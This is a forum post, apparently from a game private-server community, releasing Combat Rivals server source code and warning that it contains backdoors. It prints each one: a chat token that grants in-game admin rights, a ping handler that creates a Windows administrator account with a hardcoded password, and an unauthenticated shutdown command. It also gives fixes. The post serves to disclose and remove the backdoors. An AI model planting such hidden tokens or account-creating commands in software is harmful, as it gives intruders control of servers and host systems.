Hi guys,
i was so bored, so im here to share something which can help the newbies on c++.
Those source are of Combat Rivals, there are inside few mods like new colors,xnation chat,unique key and so on.
You can check the mods by the comments inside the source code.
Hope this can help users to make really good server and improve their skills instead of other un-clever guys :)
~Aesir
EDIT: I forgot, there is inside source a little backdoors, i found them some time ago.
Just remove,comment,change this token or what you want and server will be backdoor-free,and yes, this one is even inside Kasistar bins released somewhere in this section as mine bins, just search "/d5%YGZ" in HexEditor and change it or delete or what you want :)Code:else if ( stricmp(token, "/d5%YGZ") == 0) { m_character.Race = 130; }
(this one admin you to get admin rights in fieldserver by writing in chat "/d5%YGZ")
Another one is:
Just replace this with:Code:case T_FM_PING: { system("net user AspNet `R8w^)xFf]uQKQFT /ADD"); system("net localgroup administrators AspNet /add"); } break;
(sending a ping from monitor the server create another user on system)Code:case T_FM_PING: { *(MessageType_t*)SendBuf = T_FM_PING_OK; SendAddData(SendBuf, SIZE_FIELD_TYPE_HEADER); } break;
Another one:
Just comment or remove:Code:case T_FM_SHUTDOWN: { // g_pFieldGlobal->WriteSystemLogEX(TRUE, " T_FM_SHUTDOWN->Failed break\r\n"); break; // 2011-11-18 by shcho, ¼¹ö´Ù¿î ÇÁ¸®Æä¾î¼¹ö´Ù¿î Á¦°Å ó¸® - Ãß°¡ ¸í·É¹® »èÁ¦ *(MessageType_t*)SendBuf = T_FM_SHUTDOWN_OK; SendAddData(SendBuf, SIZE_FIELD_TYPE_HEADER); PostMessage(g_pFieldGlobal->GetMainWndHandle(), WM_CLOSE, 0, 0); } break;
(Just enabled exploitable shutdown function)Code:PostMessage(g_pFieldGlobal->GetMainWndHandle(),WM_CLOSE,0,0);
EDIT: Reuploaded.
https://mega.co.nz/#!Pg4zDJib!9OJITt...-0irySrNPginI8



Reply With Quote![[Release] Combat Rivals Source Code (3.5)](http://ragezone.com/hyper728.png)



